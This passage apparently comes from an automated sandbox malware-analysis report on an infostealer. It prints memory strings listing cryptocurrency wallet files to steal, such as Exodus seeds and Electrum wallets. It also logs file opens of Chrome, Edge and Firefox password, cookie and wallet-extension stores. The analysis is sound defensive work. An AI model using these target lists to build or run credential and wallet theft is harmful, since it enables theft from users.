Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2075096888.0000000000E45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2075096888.0000000000E14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2075096888.0000000000E14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2075096888.0000000000E45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: d1e0007322.exe, 00000014.00000003.2702112957.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance
Source: file.exe, 00000000.00000002.2075096888.0000000000E45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2075096888.0000000000E14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2075096888.0000000000E64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2075096888.0000000000E45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2075096888.0000000000E45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2075096888.0000000000E45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2075096888.0000000000E14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2075096888.0000000000E14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2075634451.0000000001993000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
